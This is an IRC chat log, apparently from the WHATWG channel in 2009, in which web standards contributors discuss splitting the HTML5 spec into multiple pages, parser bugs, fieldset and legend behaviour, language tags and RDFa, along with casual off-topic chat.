would it work if i just brough the divs down one level?

[13:07:02.0000] <Hixie>
rather than all the way

[13:08:00.0000] <Philip`>
Hixie: I just meant the 8 subsections, not the eighteen bazillion sub(sub)*sections

[13:08:01.0000] <Philip`>
so that would be fine

[13:08:02.0000] <Hixie>
ah ok excellent

[13:08:03.0000] <Hixie>
sure, i could do that

[13:14:00.0000] <Philip`>
http://www.whatwg.org/specs/web-apps/current-work/multipage/ should hopefully be better split now (into smaller pages), and should become betterer when the parsing impl is split up

[13:15:00.0000] <Hixie>
cool

[13:15:01.0000] <Hixie>
checked in the changes

[13:17:00.0000] <TabAtkins>
Philip`, I like it.

[13:17:01.0000] <TabAtkins>
/me was just reading something in 10.4, and is happy to see it shrunken.

[13:17:02.0000] <Steve^>
Hixie, when you follow the link to the latest draft from the specs page, would it be possible for that to go to the multiple-page version rather than the one-page version?

[13:19:00.0000] <Philip`>
TabAtkins: That particular section was just suffering from a bug (section 11 was in <div class=impl> so it got merged into section 10 instead of being split apart)

[13:19:01.0000] <Philip`>
Other sections were mainly suffering because the hard-coded list of splitting points was out of date

[13:20:00.0000] <TabAtkins>
Blarg, I meant 4.10

[13:20:01.0000] <Philip`>
but now they're up to date again, temporarily

[13:20:02.0000] <Hixie>
Steve^: yeah, you or someone else e-mailed me about that revently, it's on my list of things to fix

[13:20:03.0000] <Philip`>
TabAtkins: Oh, okay

[13:20:04.0000] <Steve^>
thanks

[13:20:05.0000] <Hixie>
Steve^: most of the links already go straight to the multipage copy iirc

[13:22:00.0000] <Philip`>
Hixie: Thanks for the parser split, seems to be working fine now

[13:22:01.0000] <Hixie>
cool

[13:23:00.0000] <Philip`>
tree-construction is still 200KB but anyone crazy enough to look at that algorithm can surely cope with such a giant page

[13:25:00.0000] <erlehmann>
Philip`, how come the splitting is hard-coded ?

[13:26:00.0000] <Hixie>
i wonder what would be a prototypical table

[13:26:01.0000] <Hixie>
maybe something from The Origin of Species

[13:26:02.0000] <Philip`>
erlehmann: Because that's easier than finding a nice automatic approach

[13:27:00.0000] <Philip`>
(The goals are to make each page ~100KB, and preferably to split along hierarchical lines, and otherwise to split at logical points)

[13:28:00.0000] <Dashiva>
Hard to solve optimally, but easy with a little cheating :)

[13:28:01.0000] <erlehmann>
knuth probably solved this back in the 70ies ;D

[13:28:02.0000] <Hixie>
...or not, it apparently has no tables.

[13:28:03.0000] <Philip`>
The problem is with the idea of "logical"

[13:28:04.0000] <Philip`>
which is rather hard to define

[13:29:00.0000] <Dashiva>
Philip`: Try lots of different splits, send them out pairwise on mechanical turk

[13:29:01.0000] <Philip`>
Dashiva: Mechanical Turk costs tens of cents, and I don't think HTML5 is worth such an investment from me

[13:30:00.0000] <Dashiva>
Or you could use GA

[13:30:01.0000] <TabAtkins>
with what fitness criteria?

[13:30:02.0000] <erlehmann>
Philip`, why not use the heading level nesting algorithm or how its called ? split at highest level, look if significantly over >100KB, look at subpart, repeat

[13:30:03.0000] <Dashiva>
TabAtkins: You provide thumbs up and thumbs down buttons to the user

[13:30:04.0000] <erlehmann>
that would seem logical to me

[13:31:00.0000] <Dashiva>
erlehmann: That fails on cases like 110 KB with 10 subsections

[13:32:00.0000] <Philip`>
erlehmann: Look at e.g. "4.10.4.1 States of the type attribute"

[13:33:00.0000] <Philip`>
It would seem illogical to me to split it in the middle of the sequence of date/time-related types - it's better to split just after them

[13:33:01.0000] <Philip`>
but an algorithm couldn't know that

[13:34:00.0000] <erlehmann>
there are no semantic hooks in the document from which to "get" that, so …

[13:34:01.0000] <Philip`>
So that's why it's better having a human deciding where to split :-)

[13:35:00.0000] <Philip`>
Hixie: What do you mean by "prototypical"?

[13:36:00.0000] <Hixie>
Philip`: maybe "canonical" would be a better term, though it's not quite right either

[13:36:01.0000] <Philip`>
If you're looking for well-known tables of data, maybe something like census data could be appropriate?

[13:36:02.0000] <Dashiva>
A multiplication table :)

[13:36:03.0000] <Lachy>
why doesn't Hixie just insert some special markers into the spec where it is logical to split? Is that harder than maintaining a list of hard coded section ids?

[13:36:04.0000] <annevk3>
matrix math

[13:36:05.0000] <Hixie>
Dashiva: already have an addition table

[13:36:06.0000] <Dashiva>
Lachy: I suppose Hixie has a higher workload than Philip`

[13:36:07.0000] <Hixie>
i'd like a table with a <tfoot>, spans, colgroups, all kinds of stuff

[13:37:00.0000] <Philip`>
Lachy: That would require Hixie to do more work

[13:37:01.0000] <Philip`>
Hixie: It seems unrealistic to have a single table with all the possible features, and needlessly confusing

[13:38:00.0000] <Philip`>
Hixie: You could do an example with a table of HTML elements and attributes

[13:38:01.0000] <Dashiva>
Hixie: http://www.pvv.org/~magnusrk/wurm/item.php :)

[13:38:02.0000] <Dashiva>
I guess I don't use tfoot

[13:38:03.0000] <Philip`>
As a bonus, it would also be a table of HTML elements and attributes

[13:38:04.0000] <Hixie>
oh it also has to be small

[13:38:05.0000] <Philip`>
s/HTML/HTML5/g

[13:39:00.0000] <Philip`>
Reduce the font size to 6pt

[13:39:01.0000] <Hixie>
maciej is here, bbl

[13:55:00.0000] <Lachy>
with all the discussion about pedagogic validation and encourage XML-inspired habits because it supposedly easier for students, I really wish I could remember how I managed to cope with learning back in the pre-XHTML age when HTML 4 was bleeding edge

[13:55:01.0000] <AryehGregor>
I did okay.

[13:55:02.0000] <AryehGregor>
I only learned XML later.

[13:56:00.0000] <Dashiva>
There already was one mail (smylers I think?) that pointed out how many of the XML things are actually counterintuitive

[13:56:01.0000] <Lachy>
Dashiva, I don't recall that one. Got a link?

[13:56:02.0000] <AryehGregor>
I strongly suspect that "XML is easier to learn" is a smokescreen for "I don't like XML and am an educator so here's an argument you spec writers/implementors/authors can't really argue with".

[13:57:00.0000] <AryehGregor>
I think the trailing solidus in text/html is obviously unintuitive, since it doesn't actually do anything but people will think it does.

[13:57:01.0000] <AryehGregor>
I've made that mistake and know someone else who did, and I'd say we were both at a much higher level of comprehension than your average HTML student.

[13:58:00.0000] <Dashiva>
Lachy: http://lists.w3.org/Archives/Public/public-html/2009Sep/0456.html

[13:58:01.0000] <Lachy>
AryehGregor, yeah, I do remember that was somewhat confusing when I tried it on some non-empty elements

[13:59:00.0000] <AryehGregor>
No comment on quotes.  I don't see how omitting quotes is unintuitive, though.

[13:59:01.0000] <AryehGregor>
Unless maybe you're used to usual programming languages?

[14:00:00.0000] <Lachy>
one thing that confused the hell out of me was why, if XHTML was supposed to require well-formedness, I didn't understand why browsers didn't report the errors. It wasn't till a little later that I learned about XML mime types that it all made sense

[14:00:01.0000] <Lachy>
and I realised that XHTML as text/html was actually harmful to my learning

[14:01:00.0000] <Steve^>
I remember a kid telling me that you could omit the closing body and html tags, which I thought was incorrect and very bad

[14:01:01.0000] <Steve^>
It didn't help the teacher told us it was herf and scr

[14:01:02.0000] <Steve^>
(href / src)

[14:01:03.0000] <Lachy>
at least, now with the proposals for pedagogic validation, students will no longer be mislead about writing XHTML when they're just writing HTML with specific coding conventions

[14:03:00.0000] <Lachy>
/me is contemplating getting up and actually going to the party I said I would go to tonight.

[14:03:01.0000] <AryehGregor>
Pfft, parties.

[14:04:00.0000] <gsnedders>
/me grumbles something about all his photos from his ball being terrible

[14:04:01.0000] <Lachy>
as much fun as partying on IRC is and all

[14:04:02.0000] <Steve^>
I say ignore them, no programming languages are alterred to keep teachers happy

[14:04:03.0000] <Steve^>
why is HTML?

[14:04:04.0000] <gsnedders>
Steve^: This is altering the language, though.

[14:04:05.0000] <AryehGregor>
A lot of programming languages are designed to be easy to learn.

[14:05:00.0000] <AryehGregor>
Those are usually the most horrifying and evil ones.

[14:05:01.0000] <Steve^>
sure, Pascal supposedly

[14:05:02.0000] <Steve^>
its a teaching language

[14:05:03.0000] <AryehGregor>
I'm thinking like Visual Basic or various macro languages.

[14:05:04.0000] <Steve^>
Java is fairly straight forward by design, not necessarily so its easier to teach it

[14:06:00.0000] <Steve^>
I haven't encountered XJava where all variables must be explicitly destroyed or anything

[14:07:00.0000] <Dashiva>
"Besides, you need <html> for lang!" <-- Great argument there :)

[14:07:01.0000] <Steve^>
oh wait, you should always wrap if statements in { } even if it is a single command

[14:07:02.0000] <TabAtkins>
Lachy: Your talk of parties just reminded me that it's liquor friday.

[14:07:03.0000] <Lachy>
Dashiva, my response to that would be you don't need lang=""

[14:07:04.0000] <Steve^>
ah Friday Beer, those were the days

[14:07:05.0000] <gsnedders>
Steve^: s/were/are/

[14:07:06.0000] <Dashiva>
Lachy: Indeed

[14:08:00.0000] <gsnedders>
(It's just I'm not allowed to have beer)

[14:08:01.0000] <TabAtkins>
It's a lot easier to have Liquor Friday when you work from home.  It was annoying to wait for management to leave previously.

[14:08:02.0000] <Lachy>
Steve^, I didn't know you used to work for Opera

[14:08:03.0000] <Steve^>
Lachy, then you probably didn't know we've met

[14:08:04.0000] <gsnedders>
LOL

[14:08:05.0000] <TabAtkins>
Heh.

[14:09:00.0000] <gsnedders>
Lachy: fail.

[14:09:01.0000] <Lachy>
Steve^, are you the guy I met a couple of weeks ago at friday beer when Bruce Lawson was here?

[14:09:02.0000] <Steve^>
indeed

[14:09:03.0000] <Lachy>
wow

[14:09:04.0000] <Steve^>
amongst the talk of PDFs

[14:09:05.0000] <gsnedders>
/me should go to the Oslo office sometime

[14:10:00.0000] <TabAtkins>
What's the drinking age in the UK, gsnedders?  18?

[14:10:01.0000] <gsnedders>
TabAtkins: Short answer: it depends.

[14:10:02.0000] <TabAtkins>
That's... interesting.

[14:11:00.0000] <Philip`>
It depends on what you're drinking, e.g. water has no restriction

[14:11:01.0000] <Lachy>
gsnedders, I think the question is mean to be, at what age did you start getting drunk?

[14:11:02.0000] <gsnedders>
To quote wikipedia:

[14:11:03.0000] <TabAtkins>
That is not what the question is meant to be.  >_<

[14:11:04.0000] <gsnedders>
"Children under 5 must not be given alcohol unless under medical supervision or in an emergency (Children and Young Persons Act 1933, Children and Young Persons (Scotland) Act 1937).[48][49]. However, children aged 5 and over may legally consume alcohol in their own home or someone else's as long as they are under the supervision of an adult. 

[14:11:05.0000] <gsnedders>
The minimum age for the purchase of alcohol is 18. People aged 16 and 17 may consume wine, beer or cider on licensed premises (pubs/bars/restaurants) with a table meal. In England & Wales, an adult must order.[50] In Scotland, no adult is required to be present.[51][52] The legal age for the purchase of alcohol from an off-licence (store/supermarket) is 18 (16 for liqueur chocolates).

[14:11:06.0000] <gsnedders>
Purchasing alcohol on behalf of a minor is illegal in Scotland, England and Wales. This means acting as the young person's agent.[53][54]

[14:11:07.0000] <Steve^>
rules?

[14:11:08.0000] <Steve^>
I know you need to "look over 25" to not get IDed nowadays

[14:11:09.0000] <TabAtkins>
So, 16 more or less.

[14:11:10.0000] <Lachy>
what emergency situation would require giving a child alcohol?

[14:11:11.0000] <Steve^>
25 is a long way from 17

[14:11:12.0000] <gsnedders>
TabAtkins: No, 18 more or less

[14:11:13.0000] <TabAtkins>
Lachy: He just got divorced.

[14:12:00.0000] <AryehGregor>
Lachy, no other anesthetic handy?

[14:12:01.0000] <TabAtkins>
gsnedders: 18 to buy.  Looks like 16 can buy in pubs, though in some parts an adult needs to buy it first.

[14:12:02.0000] <Steve^>
16 cannot buy

[14:12:03.0000] <Steve^>
18+ only can buy

[14:12:04.0000] <TabAtkins>
Oh, I see.  Was reading it differently.

[14:12:05.0000] <Steve^>
includes cigs and lighters

[14:12:06.0000] <gsnedders>
Steve^: In a pub in Scotland and NI you can get wine, beer, or cider with food at 16.

[14:13:00.0000] <gsnedders>
s/pub/pub or restaurant/

[14:13:01.0000] <Steve^>
does a pack of crisps count as food?

[14:13:02.0000] <gsnedders>
Steve^: From memory the law says it has to be a proper meal.

[14:14:00.0000] <TabAtkins>
Wiki says "with a table meal".

[14:14:01.0000] <Steve^>
so, pie or bigger?

[14:14:02.0000] <TabAtkins>
Sure.

[14:15:00.0000] <Steve^>
I prefer England as I can afford beer on everyday of the week

[14:15:01.0000] <Steve^>
I don't just rely on the free friday stuff

[14:15:02.0000] <gsnedders>
Lachy: As for when I started getting drunk, you so don't know how Straight Edge I am :P

[14:15:03.0000] <TabAtkins>
Caffeine, gsnedders?

[14:16:00.0000] <gsnedders>
TabAtkins: Almost never.

[14:16:01.0000] <TabAtkins>
Mang.  I likes me the basic legal recreational chemicals.

[14:17:00.0000] <TabAtkins>
I mean, even sugar alters brain chemistry.

[14:17:01.0000] <Steve^>
so does oxygen

[14:17:02.0000] <TabAtkins>
I'd call that a *part* of brain chemistry.

[14:18:00.0000] <TabAtkins>
You don't really have much chemistry going on there without oxygen.

[14:18:01.0000] <Philip`>
I cryogenically freeze my brain to prevent its chemistry changing over time

[14:18:02.0000] <gsnedders>
Philip`: Then how did you construct that sentence.

[14:18:03.0000] <Steve^>
I'm addicted to oxygen

[14:19:00.0000] <TabAtkins>
Pretty sure Philip`'s just a longstanding chat macro, hurriedly programmed during his brief moments of thawing.

[14:19:01.0000] <Philip`>
gsnedders: I occasionally makes clones of my frozen brain, let them act as me, and then destroy them before they diverge too far from the pure original me

[14:19:02.0000] <Philip`>
s/makes/make/

[14:19:03.0000] <Steve^>
these clones aren't very good typists

[14:20:00.0000] <Philip`>
I blame my keyboard :-(

[14:20:01.0000] <TabAtkins>
I have an excuse when I type extra "e"s.  I fixed my e key in the gimpiest way possible.

[14:20:02.0000] <gsnedders>
Also: the amusing thing about working for Opera while applying to uni is that at open days anybody in CS who asks me what I'm doing during gap year is they try _really_ hard to convince me to go to their uni.

[14:20:03.0000] <TabAtkins>
It's currently an n key resting on half a pin head, secured by tape.

[14:21:00.0000] <TabAtkins>
Haha, I'll bet gsnedders.

[14:22:00.0000] <gsnedders>
Then when I point out I don't have very good grades, they're more working along the lines of how to work around this, rather than reacting that I have no chance. :P

[14:22:01.0000] <TabAtkins>
Yeah, actual work is way better at demonstrating competence than the proxy of grades.

[14:23:00.0000] <gsnedders>
In the UK you're _really_ hard pushed to get into uni without grades.

[14:23:01.0000] <TabAtkins>
Yeah, but y'all have all the class issues that we mostly dropped.

[14:23:02.0000] <gsnedders>
Also, FWIW, wrt to what you were saying about for fees in US nowadays, I have my doubts whether that applies to international students too

[14:24:00.0000] <gsnedders>
Also: why does Google in Opera default to google.se now!?

[14:25:00.0000] <Steve^>
because you're in Sweden?

[14:25:01.0000] <gsnedders>
I'm not, I'm in .uk for this month.

[14:26:00.0000] <Steve^>
you know when you've been on the internet too long when you refer to countries by their TLDs

[14:26:01.0000] <gsnedders>
:D

[14:26:02.0000] <gsnedders>
It only gets confusing when you hit things like .za

[14:26:03.0000] <Steve^>
South Africa

[14:26:04.0000] <gsnedders>
I had to look that up a few weeks ago :)

[14:27:00.0000] <AryehGregor>
I'd have guessed Zambia or something.

[14:27:01.0000] <TabAtkins>
For some reason I know that one.  But I didn't know .se

[14:27:02.0000] <AryehGregor>
I knew .se.

[14:27:03.0000] <AryehGregor>
I know language codes better, because Wikipedia uses language codes and not TLDs.

[14:28:00.0000] <gsnedders>
I use a mix of the two-alpha-char country codes and TLDs

[14:28:01.0000] <TabAtkins>
/me needs to go spend the rest of his lunch playing video games.  bbl

[14:29:00.0000] <Steve^>
lunch?

[14:29:01.0000] <TabAtkins>
I'm GMT-6 (well, -5 right now)

[14:29:02.0000] <TabAtkins>
It's 3:30pm over here.

[15:03:00.0000] <Steve^>
what is div short for?

[15:05:00.0000] <Philip`>
Division?

[15:05:01.0000] <Steve^>
In a basic HTML5 markup, div is a bit of an eyesore. You have nav, section, article and then.. div

[15:05:02.0000] <Steve^>
I think that's why some have called for a <content> element

[15:06:00.0000] <Steve^>
it has an english meaning

[15:06:01.0000] <Philip`>
You could simply not use div

[15:06:02.0000] <Steve^>
indeed, the div is only there for styling reasons

[15:06:03.0000] <Steve^>
and it should be a div

[15:07:00.0000] <Steve^>
I see people getting carried away with the new semantic elements, thinking they will cover everything

[15:07:01.0000] <Steve^>
and expecting to remove all divs

[15:08:00.0000] <Steve^>
if it has a pretty new name, everyone would be happy :)

[15:09:00.0000] <AryehGregor>
Ian said he thinks <div> shouldn't exist.

[15:09:01.0000] <AryehGregor>
Although he admitted this was crazy.  :)

[15:10:00.0000] <Steve^>
for a black and white website you'd be ok

[15:10:01.0000] <inimino>
removing all divs would require fixing CSS

[15:11:00.0000] <Steve^>
it would be tricky to give your site a full border

[15:11:01.0000] <inimino>
or settling for simpler designs :)

[15:11:02.0000] <AryehGregor>
No, it would only require browsers implementing current cutting-edge CSS, mostly.

[15:11:03.0000] <AryehGregor>
Well, that might not be quite enough.

[15:11:04.0000] <AryehGregor>
Isn't there an artificial-wrapper-creator in some draft, though?

[15:14:00.0000] <Steve^>
lets bring back tables \o/

[15:17:00.0000] <AryehGregor>
They still exist, you know.

[15:17:01.0000] <Philip`>
Tables never went away

[15:19:00.0000] <erlehmann_>
table webdesign at tables.on.nimp.org ;D (dont click)

[15:19:01.0000] <Steve^>
if table, tr, td, th  were actually called  layout, row, panel, heading respectively, they'd have been loved forever

[15:19:02.0000] <jamesr>
i doubt that

[15:20:00.0000] <erlehmann_>
Steve^, that is a horrible picture you are painting

[15:20:01.0000] <Steve^>
With the correct CSS, I can make up whatever tags I like?

[15:20:02.0000] <Steve^>
/me is off to start a revolution

[15:25:00.0000] <erlehmann>
Steve^, DONT

[15:26:00.0000] <annevk3>
Philip`, any chance you're going to hack a mini-TOC in each separate page one of these days?

[15:27:00.0000] <annevk3>
one upon a time books led me to believe custom tags were the holy grail of Web design

[15:27:01.0000] <annevk3>
s/one/once/ sigh

[15:27:02.0000] <Dashiva>
Custom tags are like programs generated from spec code

[15:28:00.0000] <Dashiva>
The functionality has to be created somewhere

[15:46:00.0000] <TabAtkins>
erlehmann, I hate you.

[15:48:00.0000] <Steve^>
whoa

[15:49:00.0000] <Steve^>
someone's harbouring some bad thoughts

[16:18:00.0000] <TabAtkins>
Woo I got my friend to abuse his connections to get tickets to one of my favorite artists!

[16:47:00.0000] <and>
annevk2: The table seems to match IE8 apart from the (???) encodings, most of which are supposed to be EBCDIC-based but are decoded as US-ASCII, so perhaps not supported at all.

[16:49:00.0000] <and>
I have no idea what x-europa is, and there are several new Taiwanese encodings, but it does not seem too bad in general.

[16:53:00.0000] <and>
(I obviously got off to a bad start yesterday with the (???) ones.)


2009-09-12
[17:17:00.0000] <Philip`>
Hixie: You have a bogus </colgroup> that is breaking my attempt to run the spec-splitter :-(

[17:17:01.0000] <Hixie>
oops

[17:18:00.0000] <Hixie>
um

[17:18:01.0000] <Hixie>
why is it broken

[17:18:02.0000] <Hixie>
source seems ok

[17:18:03.0000] <Philip`>
and the spec-splitter happily dies and then uploads it non-existent output and thus deletes the multipage spec

[17:18:04.0000] <Hixie>
what's broken about it?

[17:19:00.0000] <Philip`>
<table class=apple-table-examples><col></colgroup><col><col><col><thead><tr><th> <th>2008 <th>2007 <th>2006

[17:19:01.0000] <Hixie>
wtf

[17:19:02.0000] <Hixie>
that must be a libhtml bug

[17:19:03.0000] <Hixie>
or libxml

[17:19:04.0000] <Hixie>
or whatever we're using

[17:19:05.0000] <Philip`>
That's quite possible

[17:19:06.0000] <hober>
I've written a blog post about how to use HTML5's new sectioning elements.

[17:19:07.0000] <hober>
Would anyone like to review it before I publish? I want to be sure I'm making good recommendations. I'd rather the article reduce, not add, to the confusion around these elements.

[17:20:00.0000] <Philip`>
(I'm using libxml for parsing, because html5lib is unbearably slow)

[17:20:01.0000] <Hixie>
hober: can't review right now, but i'd be happy to do so after my meeting which starts in 10 minutes

[17:20:02.0000] <Philip`>
(Also, this is the index document, not the source document)

[17:20:03.0000] <Philip`>
lxml.etree.XMLSyntaxError: Unexpected end tag : colgroup, line 29957, column 53

[17:21:00.0000] <hober>
Hixie: ok, I'll /msg you the link; please review at your leisure

[17:21:01.0000] <Philip`>
(using etree.HTMLParser)

[17:22:00.0000] <Philip`>
Is this something that is easily fixable without me doing anything?

[17:26:00.0000] <TabAtkins>
hober, I'll take a look.

[17:28:00.0000] <Philip`>
annevk2: http://www.whatwg.org/specs/web-apps/current-work/multipage/introduction.html - now with added TOC

[17:29:00.0000] <Philip`>
http://www.whatwg.org/specs/web-apps/current-work/multipage/commands.html - it's a little peculiar on certain pages, but I think it's probably about correct

[17:29:01.0000] <TabAtkins>
Philip`, I love the new TOCs.

[17:29:02.0000] <Philip`>
Hmm, the toc.js script messes things up a bit :-(

[17:29:03.0000] <Philip`>
Hixie: Is there some way toc.js could be disabled on the mini-TOCs in the multipage view?

[17:30:00.0000] <Philip`>
/me temporarily switched to the html5lib parser, but it's too resource-intensive for him to be particularly happy running it

[21:59:00.0000] <Hixie>
/me is proud of his table examples

[00:47:00.0000] <othermaciej>
hi all

[02:19:00.0000] <annevk3>
Philip`, sweet

[02:20:00.0000] <annevk3>
Philip`, for the introduction page the "full table of contents" should probably not be there

[02:20:01.0000] <annevk3>
Philip`, and the link above it, it's not present on other pages either

[02:20:02.0000] <Philip`>
annevk3: I blame Hixie for that

[02:21:00.0000] <Philip`>
since toc.js adds the full table of contents automatically

[02:21:01.0000] <annevk3>
ah

[02:21:02.0000] <annevk3>
i see, it's also present on full table of contents

[02:21:03.0000] <annevk3>
maybe toc.js should recognize a class name or something

[02:21:04.0000] <Philip`>
Hixie: It's all your fault :-(

[02:22:00.0000] <Philip`>
annevk3: I think I have to use class="toc" to get the right styling, but could add an extra class to make toc.js ignore it

[02:22:01.0000] <annevk3>
that could work, or hixie adds a class to the main toc; either way

[02:41:00.0000] <annevk3>
Hixie, pretty sure that if the fieldset is disabled the contents of the legend element are too

[02:42:00.0000] <annevk3>
in Opera they are

[02:42:01.0000] <annevk3>
which is per spec

[02:42:02.0000] <annevk3>
Hixie, so the fieldset example will never work

[02:43:00.0000] <annevk3>
Hixie, I'd move the checkbox into a <p> or so before the fieldset

[03:17:00.0000] <Hixie>
annevk3: should we fix that?

[03:17:01.0000] <Hixie>
the spec i mean?

[03:17:02.0000] <Hixie>
seems like a reasonable use case

[03:17:03.0000] <Hixie>
anyway i gotta sleep now

[03:28:00.0000] <annevk3>
I guess we could

[03:29:00.0000] <Lachy>
would it work to just say that controls within the <legend> don't get disabled along with the fieldset?

[03:30:00.0000] <annevk3>
spec-wise it's no problem

[03:30:01.0000] <annevk3>
just wondering about implementation complexity with dynamic updates and all

[03:30:02.0000] <annevk3>
not more crazy I guess than other stuff, but the question is whether it's worth it

[03:31:00.0000] <Lachy>
I'd be more convinced if there were real sites built with equivalent functionality

[03:31:01.0000] <annevk3>
sites prolly will if the styling issue gets solved

[05:53:00.0000] <Philip`>
/me tries to work out whether he should be using zh or zh-CN or zh-Hans

[05:53:01.0000] <Philip`>
Languages are too confusing :-(

[05:57:00.0000] <annevk2>
don't bother tagging it?

[05:57:01.0000] <annevk2>
/me tries to work out which alias table Safari is using for ICU

[05:57:02.0000] <Dashiva>
zh-x-Philip`

[05:58:00.0000] <Philip`>
annevk2: I need to at least have some language code for the filename

[05:58:01.0000] <Philip`>
so I might as well use the correct one

[05:59:00.0000] <annevk2>
why is that?

[06:00:00.0000] <Philip`>
Because of a pointless desire for correctness

[06:00:01.0000] <annevk2>
carry on then :)

[06:04:00.0000] <Philip`>
So which one is correcter? :-)

[06:10:00.0000] <and>
Philip`: zh-CN looks wronger/older; zh-Hans is preciser (so likelier to be incorrect).

[06:11:00.0000] <and>
(Apart from that, CN would be associated with mainland China, and Hans with simplified ideograms, which originated there.)

[06:12:00.0000] <annevk2>
was to be expected: http://meiert.com/en/blog/20090911/html-5-or-html5/

[06:13:00.0000] <annevk2>
Philip`, zh seems safest if you're unsure

[06:14:00.0000] <Philip`>
http://blog.whatwg.org/spelling-html5 - "Isn’t 5 a *version number*? As in HTML 4.01. Shouldn’t it actually be HTML 5?"

[06:14:01.0000] <Philip`>
That seems a good argument to call it "HTML5", so people don't think it's a version number

[06:16:00.0000] <annevk2>
and, new grouping is nice btw

[06:16:01.0000] <Philip`>
annevk2: I'm sure it's simplified Chinese, written by someone from mainland China, so the issue is just what code to use (rather than what language it is)

[06:17:00.0000] <Philip`>
The person who wrote it called it zh_cn, but e.g. http://www.w3.org/International/articles/language-tags/ seems to indicate zh-Hans is newer and more consistent and accurate

[06:20:00.0000] <annevk2>
are you sure it's not zh-Hant?

[06:20:01.0000] <annevk2>
anyway, http://tools.ietf.org/html/rfc5646 seems to suggest a couple of those are at least out of date (though still valid for backcompat reasons)

[06:22:00.0000] <and>
Hant/Hans means traditional/simplified Han characters (ideograms).

[06:23:00.0000] <and>
The use of CN to mean Hans is obsolete, but probably still fine to indicate mainland China.

[06:23:01.0000] <and>
(as I understand it, anyway)

[06:24:00.0000] <annevk2>
language tags certainly became a whole lot more complicated since I last looked at it

[06:29:00.0000] <and>
Hierarchically constructed tags like zh-Hans-CN are nice in theory, but I am not sure they are handled reasonably by matching algorithms.

[06:32:00.0000] <and>
annevk2: Glad you like it. I tried to choose clear and uncontroversial categories, but the labels are not completely self-explanatory (e.g., Mac CJK encodings belong to the CJK group, not to the Mac group). I hope I did not change anything in the process.

[06:32:01.0000] <annevk2>
oh, I haven't checked that

[06:33:00.0000] <annevk2>
it makes it a lot easier to compare browsers anyway

[06:34:00.0000] <annevk2>
once the data is more complete I plan to write a scraper that allows you to run comparisons on it

[06:34:01.0000] <and>
Well, I tried to be careful.

[06:34:02.0000] <and>
That is a good idea. We might want to add the IANA registry as a "browser" as well.

[06:35:00.0000] <annevk2>
yeah

[06:35:01.0000] <annevk2>
unfortunately it seems i'm booked for most of the weekend at least until sunday evening so it'll have to wait a little

[07:14:00.0000] <gsnedders>
/me hears loud roar of small jet engines, and looks up at window, and sees some of the red arrows flying fairly low and fast

[09:24:00.0000] <Philip`>
http://philip.html5.org/demos/rdfa/google-rich-snippets.html - it's a bit pathetic really

[09:25:00.0000] <Dashiva>
wau

[09:26:00.0000] <Dashiva>
Looks like something you'd make with regular expressions :)

[09:29:00.0000] <gsnedders>
/me sighs at British train prices

[09:58:00.0000] <gsnedders>
So a ticket from Reading to Leuchars is the same price as one from Birmingham New Street to Leuchars. That makes sense.

[09:59:00.0000] <gsnedders>
That's untrue. There is a slight difference.

[10:06:00.0000] <Philip`>
http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0124.html

[10:06:01.0000] <Philip`>
/me hopes he didn't make too many stupid mistakes

[10:11:00.0000] <Dashiva>
Philip`: I expect one response will be "But nobody is going to use v:g/#Person so it's just silly to support it"

[10:14:00.0000] <Philip`>
Then I might respond that some people seriously considered xmlns:http="http:" as a valid trick to transition to non-prefix-based URLs, which would be broken by this kind of thing

[10:15:00.0000] <Dashiva>
They were silly too

[10:16:00.0000] <Philip`>
Recent experience indicates RDFa people are happy with requiring specific behaviour for invalid input anyway, even when it's weird edge cases

[10:17:00.0000] <Philip`>
(and any disagreement is just about how explicitly and clearly it needs to be specified, vs being determined by the spec authors' intentions)

[10:47:00.0000] <Philip`>
"we will [...] deviate from the standard in some cases to be forgiving of webmaster errors.  For example, we expect that some webmasters will forget the xmlns attribute entirely." (says a person from Google)

[10:47:01.0000] <Philip`>
Hooray for standards and interoperability!

[10:48:00.0000] <hober>
I think the Google parsing behavior sounds reasonable, at least as a forgiving, "real-world" processor of RDFa bits and pieces that survive copy&paste

[10:49:00.0000] <hober>
It seems like the extent to which they're deviating from RDFa-as-specified is the extent to which RDFa-as-specified isn't a web-ready tech...

[10:53:00.0000] <Steve^>
Should an element with display: none be included in the outline?

[10:53:01.0000] <Philip`>
If they want something that's forgiving and web-ready and works in the real world, and don't think RDFa is suitable for that, then they shouldn't pretend to support RDFa

[10:55:00.0000] <Philip`>
Then they could simplify it further (e.g. not use xmlns at all), and would no longer be flagrantly violating standards

[10:55:01.0000] <Philip`>
It'd be good if they documented whatever they implement, too

[10:55:02.0000] <hober>
indeed

[10:56:00.0000] <hober>
I'm just saying I think the RDFa folks should take a different lesson than the one I think they'll take from this

[10:56:01.0000] <Philip`>
Steve^: Yes

[10:57:00.0000] <Philip`>
since CSS is just an optional rendering thing

[10:57:01.0000] <Philip`>
Maybe <whatever hidden> shouldn't be included, though

[10:57:02.0000] <Philip`>
("shouldn't" in terms of what's sensible, not necessarily what the spec says)

[11:02:00.0000] <Steve^>
It is good to avoid the "untitled section" in an outline

[11:14:00.0000] <Philip`>
(For future reference: That quote is from http://www.w3.org/mid/6934bc6b0909120945l7e721b90pda3ec06ca4d4c917⊙mgc which doesn't exist since it hasn't hit the list yet)

[11:14:01.0000] <Philip`>
(The Google RDFa quote, that is)

[11:20:00.0000] <jgraham>
Steve^: Yes. Indeed if you use one of the techniques that shows things to AT but not to ordinary browsers (e.g. the left -10000 thing) it is even better

[14:15:00.0000] <hober>
OK, I've published my blog post about how to use sectioning elements correctly http://edward.oconnor.cx/2009/09/using-the-html5-sectioning-elements

[14:37:00.0000] <Lachy>
hober, did you make any changes since I reviewed it earlier?

[14:37:01.0000] <hober>
only a handful of litle edits; nothing major

[16:56:00.0000] <gsnedders>
/me wonders if trying to change at Clapham Junction is a good idea


2009-09-13
[17:06:00.0000] <gsnedders>
That station scares me.

[17:07:00.0000] <gsnedders>
The fact that it is the busiest station in Europe by number of trains stopping at it maybe justifies that.

[17:44:00.0000] <Hixie>
hober: probably best to change the lang="" to just lang="en" or at most "en-US" to avoid confusing people :-)

[17:49:00.0000] <Hixie>
hober: the font size is a bit on the big side, but other than that and the lang="", it looks pretty neat

[17:53:00.0000] <da3d>
big fonts are nice at 2am...

[17:54:00.0000] <Hixie>
i just zoomed it out to read it :-)

[18:04:00.0000] <da3d>
hmmm... I haven't heard of the placeholder attribute, I actually learnt something here! :-O :-)

[22:35:00.0000] <hober>
Hixie: the lang="" and the <h2> are jokes

[22:35:01.0000] <hober>
and yeah, I have a big font problem. the bigger the monitor, the bigger the font size in my book

[22:35:02.0000] <Hixie>
